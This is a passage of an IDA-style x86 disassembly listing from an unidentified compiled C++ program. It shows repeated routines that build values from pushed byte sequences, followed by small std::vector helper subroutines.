push 18h push 9 push 6 push 5 push 12h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+90h] push 13h push ecx mov byte ptr [esp+3DCh], 34h call sub_4019C4 add esp, 6Ch mov ecx, eax mov byte ptr [esp+370h], 35h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 mov byte ptr [esp+388h], 36h lea edi, [esi+0E7Fh] push edi mov ecx, esi call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+218h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 13h push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+88h] push 13h push edx mov byte ptr [esp+3D4h], 37h call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 38h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea eax, [esi+0F11h] mov ecx, esi push eax mov byte ptr [esp+38Ch], 39h call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 0Ch push 13h push 13h push 3Fh push 5 push 13h push 15h push 4Eh push 14h mov byte ptr [esp+398h], 3Ah push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+84h] push 13h push ecx call sub_4019C4 add esp, 60h mov ecx, eax mov byte ptr [esp+370h], 3Bh call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+107Eh] mov ecx, esi push edx mov byte ptr [esp+38Ch], 3Ch call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea eax, [esp+10h] mov ecx, offset byte_4D834F push eax mov [esp+14h], edi call sub_401A73 lea ecx, [esp+68h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 push 8 push 3 push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx mov byte ptr [esp+3D4h], 3Dh call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 3Eh call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+1234h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 3Fh call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0B0h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 0Eh push 1 push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+88h] push 13h push eax mov byte ptr [esp+3D4h], 40h call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 41h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea ecx, [esi+127Dh] mov byte ptr [esp+388h], 42h push ecx mov ecx, esi call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1B8h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 14h push 12h mov byte ptr [esp+37Ch], 43h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+78h] push 13h push edx call sub_4019C4 add esp, 54h mov ecx, eax mov byte ptr [esp+370h], 44h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea eax, [esi+11EBh] mov ecx, esi push eax mov byte ptr [esp+38Ch], 45h call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1E8h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+80h] push 13h push ecx mov byte ptr [esp+3CCh], 46h call sub_4019C4 add esp, 5Ch mov ecx, eax mov byte ptr [esp+370h], 47h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+11A2h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 48h call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0C8h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 18h push 9 push 6 push 5 push 12h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+90h] push 13h push eax mov byte ptr [esp+3DCh], 49h call sub_4019C4 add esp, 6Ch mov ecx, eax mov byte ptr [esp+370h], 4Ah call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edi, [esi+10C7h] mov ecx, esi push edi mov byte ptr [esp+38Ch], 4Bh call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1A0h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 13h push 13h push 1 mov byte ptr [esp+380h], 4Ch push 10h push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 4Dh call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+1159h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 4Eh call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 0Ch push 13h push 13h push 3Fh push 5 push 13h push 15h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+84h] push 13h push eax mov byte ptr [esp+3D0h], 4Fh call sub_4019C4 add esp, 60h mov ecx, eax mov byte ptr [esp+370h], 50h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea ecx, [esi+12C6h] mov byte ptr [esp+388h], 51h push ecx mov ecx, esi call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea edx, [esp+10h] mov ecx, offset byte_4D834F push edx mov [esp+14h], edi call sub_401A73 push offset byte_448F30 push offset word_4E8E5A call sub_40102D add esp, 8 lea ecx, [esp+230h] call sub_40142E lea ecx, [esp+260h] mov byte ptr [esp+358h], 52h call sub_40142E push 56D2h push 539h mov byte ptr [esp+360h], 53h call sub_4021C6 ; --------------------------------------------------------------------------- push eax lea eax, [esp+23Ch] push offset dword_4447F4 push eax call sub_40102D push 56D2h push 539h call sub_4021C6 ; --------------------------------------------------------------------------- push eax lea ecx, [esp+280h] push offset dword_4447F4 push ecx call sub_40102D add esp, 10h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+606h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+64Fh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+805h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+84Eh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+897h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+450h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+5Ch] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+499h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+52Bh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+574h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+0B28h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+5Ch] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+8E0h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+278h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+3BEh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+1E8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+407h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+260h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+5BDh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+188h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+698h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+158h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+72Ah] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+128h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+6E1h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+2C0h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+773h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+2A8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+7BCh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h mov ecx, esp mov [esp+24h], esp push offset word_4E8E5A call sub_4014D3 lea ecx, [esi+251h] push ecx mov ecx, esi call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+1A0h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+29Ah] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+170h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+2E3h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+0F8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+32Ch] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+248h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+375h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- push 0 mov ecx, offset byte_4D834F call sub_401474 mov ecx, [eax] add ecx, 16Dh call sub_4017EE push eax push offset byte_4493ED mov ecx, offset word_44ACD6 call sub_4015A0 push 0 mov ecx, offset byte_4D834F call sub_401474 mov ecx, [eax] add ecx, 1B6h call sub_4017EE push eax push offset dword_4493A4 mov ecx, offset word_44ACD6 call sub_4015A0 push 0 mov ecx, offset byte_4D834F call sub_401474 mov ecx, [eax] call sub_4017EE push eax push offset dword_449280 mov ecx, offset word_44ACD6 call sub_4015A0 push 0 mov ecx, offset byte_4D834F call sub_401474 mov ecx, [eax] add ecx, 124h call sub_4017EE push eax push offset word_449312 mov ecx, offset word_44ACD6 call sub_4015A0 push 0 mov ecx, offset byte_4D834F call sub_401474 mov ecx, [eax] add ecx, 0DBh call sub_4017EE push eax push offset byte_4492C9 mov ecx, offset word_44ACD6 call sub_4015A0 push 0 mov ecx, offset byte_4D834F call sub_401474 mov ecx, [eax] add ecx, 92h call sub_4017EE push eax push offset byte_44935B mov ecx, offset word_44ACD6 call sub_4015A0 push 0 mov ecx, offset byte_4D834F call sub_401474 mov ecx, [eax] add ecx, 1FFh call sub_4017EE push eax push offset byte_44947F mov ecx, offset word_44ACD6 call sub_4015A0 lea ecx, [esp+200h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 lea ecx, [esp+290h] mov byte ptr [esp+370h], 54h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+94h], esp push eax call sub_401870 lea ecx, [esp+128h] mov byte ptr [esp+388h], 55h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+0A4h], esp push eax call sub_401870 lea ecx, [esp+170h] mov byte ptr [esp+3A0h], 56h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+0C0h], esp push eax call sub_401870 mov ecx, offset word_44AC5E mov byte ptr [esp+3B8h], 53h call sub_40137F ; --------------------------------------------------------------------------- lea ecx, [esp+260h] mov byte ptr [esp+358h], 52h call sub_401226 lea ecx, [esp+230h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] mov byte ptr [esp+358h], 1Dh call sub_401226 lea ecx, [esp+2Ch] mov byte ptr [esp+358h], 1Ch call sub_401226 mov byte ptr [esp+358h], 1Bh lea ecx, [esp+110h] call sub_401226 lea ecx, [esp+2C0h] mov byte ptr [esp+358h], 1Ah call sub_401226 lea ecx, [esp+2A8h] mov byte ptr [esp+358h], 19h call sub_401226 lea ecx, [esp+140h] mov byte ptr [esp+358h], 18h call sub_401226 lea ecx, [esp+290h] mov byte ptr [esp+358h], 17h call sub_401226 lea ecx, [esp+170h] mov byte ptr [esp+358h], 16h call sub_401226 lea ecx, [esp+0E0h] mov byte ptr [esp+358h], 15h call sub_401226 lea ecx, [esp+1A0h] mov byte ptr [esp+358h], 14h call sub_401226 lea ecx, [esp+218h] mov byte ptr [esp+358h], 13h call sub_401226 lea ecx, [esp+1D0h] mov byte ptr [esp+358h], 12h call sub_401226 lea ecx, [esp+248h] mov byte ptr [esp+358h], 11h call sub_401226 lea ecx, [esp+200h] mov byte ptr [esp+358h], 10h call sub_401226 lea ecx, [esp+278h] mov byte ptr [esp+358h], 0Fh call sub_401226 lea ecx, [esp+0F8h] mov byte ptr [esp+358h], 0Eh call sub_401226 lea ecx, [esp+128h] mov byte ptr [esp+358h], 0Dh call sub_401226 lea ecx, [esp+2F0h] mov byte ptr [esp+358h], 0Ch call sub_401226 lea ecx, [esp+320h] mov byte ptr [esp+358h], 0Bh call sub_401226 lea ecx, [esp+2D8h] mov byte ptr [esp+358h], 0Ah call sub_401226 lea ecx, [esp+308h] mov byte ptr [esp+358h], 9 call sub_401226 lea ecx, [esp+338h] mov byte ptr [esp+358h], 8 call sub_401226 lea ecx, [esp+0C8h] mov byte ptr [esp+358h], 7 call sub_401226 lea ecx, [esp+158h] mov byte ptr [esp+358h], 6 call sub_401226 lea ecx, [esp+188h] mov byte ptr [esp+358h], 5 call sub_401226 lea ecx, [esp+68h] mov byte ptr [esp+358h], 4 call sub_401226 lea ecx, [esp+0B0h] mov byte ptr [esp+358h], 3 call sub_401226 lea ecx, [esp+1B8h] mov byte ptr [esp+358h], 2 call sub_401226 lea ecx, [esp+1E8h] mov byte ptr [esp+358h], 1 call sub_401226 mov byte ptr [esp+358h], 0 lea ecx, [esp+80h] call sub_401226 lea ecx, [esp+98h] mov dword ptr [esp+358h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+350h] pop edi pop esi mov large fs:0, ecx pop ebx add esp, 350h retn ; --------------------------------------------------------------------------- db 5E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409520 proc near ; CODE XREF: sub_401474j arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_401983 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_409538 mov ecx, esi call sub_40191A ; --------------------------------------------------------------------------- loc_409538: ; CODE XREF: sub_409520+Fj mov ecx, esi call sub_401A46 lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_409520 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409560 proc near ; CODE XREF: sub_401A73j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40128A push eax mov ecx, esi call sub_401695 pop esi retn 4 sub_409560 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409590 proc near ; CODE XREF: sub_401A46j mov eax, [ecx+4] retn sub_409590 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4095B0 proc near ; CODE XREF: sub_40128Aj mov eax, [ecx+8] retn sub_4095B0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4095D0 proc near ; CODE XREF: sub_401983j mov edx, [ecx+4] test edx, edx jnz short loc_4095DA xor eax, eax retn ; --------------------------------------------------------------------------- loc_4095DA: ; CODE XREF: sub_4095D0+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_4095D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409600 proc near ; CODE XREF: sub_401695j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_401A46 mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_401BAE mov ecx, edi call sub_401A46 lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_409600 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409650 proc near ; CODE XREF: sub_40191Aj var_40 = byte ptr -40h var_39 = byte ptr -39h var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_C = dword ptr -0Ch push 0FFFFFFFFh push offset SEH_409650 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3Ch+var_39] lea ecx, [esp+3Ch+var_38] push eax push offset aInvalidVectorT ; "invalid vector<T> subscript" nop call near ptr 76081F67h lea ecx, [esp+44h+var_40] mov [esp+44h+var_C], 0 push ecx lea ecx, [esp+48h+var_30] call near ptr 760A0430h nop lea edx, [esp+48h+var_34] push offset dword_440088 push edx call sub_437B22 sub_409650 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4096D0 proc near ; CODE XREF: sub_401BAEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_40979B mov ecx, esi call sub_401983 cmp edi, eax jnb short loc_409703 mov ecx, esi call sub_401983 mov ebp, eax jmp short loc_409705 ; --------------------------------------------------------------------------- loc_409703: ; CODE XREF: sub_4096D0+26j mov ebp, edi loc_409705: ; CODE XREF: sub_4096D0+31j mov ecx, esi call sub_401983 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_401CC1 ; --------------------------------------------------------------------------- mov edx, [esp+10h+arg_0] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax mov ecx, esi call sub_4016E0 mov ecx, [esp+10h+arg_8] mov [esp+10h+arg_4], eax push ecx push edi push eax mov ecx, esi call sub_401177 mov edx, [esp+10h+arg_4] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+10h+arg_0] push eax push ecx push edx mov ecx, esi call sub_4016E0 mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_401717 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_401294 ; --------------------------------------------------------------------------- lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_401983 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40979B: ; CODE XREF: sub_4096D0+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_4097F9 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_4016E0 mov eax, [esi+8] mov edx, [esp+10h+arg_8] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_401177 mov edx, [esp+10h+arg_8] mov eax, [esi+8] push edx push eax push ebx call sub_401FB4 mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_4097F9: ; CODE XREF: sub_4096D0+D8j test edi, edi jbe short loc_409833 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_4016E0 mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_401CDF mov ecx, [esp+1Ch+arg_8] lea edx, [edi+ebx] push ecx push edx push ebx call sub_401FB4 mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_409833: ; CODE XREF: sub_4096D0+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_4096D0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4098A0 proc near ; CODE XREF: sub_401717j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_4098C0 loc_4098B1: ; CODE XREF: sub_4098A0+1Ej push esi mov ecx, edi call sub_402090 add esi, 4 cmp esi, ebx jnz short loc_4098B1 loc_4098C0: ; CODE XREF: sub_4098A0+Fj pop edi pop esi pop ebx retn 8 sub_4098A0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4098E0 proc near ; CODE XREF: sub_401294j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_4098E0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409900 proc near ; CODE XREF: sub_402090j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_7 pop ecx retn 4 sub_409900 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409920 proc near ; CODE XREF: sub_4016E0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_409952 push edi mov edi, [esp+10h+arg_8] loc_409936: ; CODE XREF: sub_409920+27j push esi push edi mov ecx, ebx call sub_4015B4 add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_409936 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_409952: ; CODE XREF: sub_409920+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_409920 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409970 proc near ; CODE XREF: sub_401177j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_409997 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_409986: ; CODE XREF: sub_409970+23j push ebx push esi mov ecx, ebp call sub_4015B4 add esi, 4 dec edi jnz short loc_409986 pop esi pop ebx loc_409997: ; CODE XREF: sub_409970+Aj pop edi pop ebp retn 0Ch sub_409970 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4099B0 proc near ; CODE XREF: sub_401CC1j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_402059 sub_4099B0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 8 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4099E0 proc near ; CODE XREF: sub_4015B4j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401145 add esp, 8 retn 8 sub_4099E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409A10 proc near ; CODE XREF: sub_401FB4j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_409A2D mov edx, [esp+arg_8] push esi loc_409A21: ; CODE XREF: sub_409A10+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_409A21 pop esi locret_409A2D: ; CODE XREF: sub_409A10+Aj retn sub_409A10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409A40 proc near ; CODE XREF: sub_401CDFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_409A62 mov eax, [esp+arg_8] push esi loc_409A51: ; CODE XREF: sub_409A40+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_409A51 pop esi retn ; --------------------------------------------------------------------------- loc_409A62: ; CODE XREF: sub_409A40+Aj mov eax, [esp+arg_8] retn sub_409A40 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409AA0 proc near ; CODE XREF: sub_402059j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_409AAA xor eax, eax loc_409AAA: ; CODE XREF: sub_409AA0+6j shl eax, 2 push eax call sub_437AEA sub_409AA0 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409AD0 proc near ; CODE XREF: sub_401145j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_409AEB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_409AEB: ; CODE XREF: sub_409AD0+11j retn sub_409AD0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B00 proc near ; CODE XREF: sub_401988j arg_0 = dword ptr 4 mov al, byte_44915A push esi test al, al mov 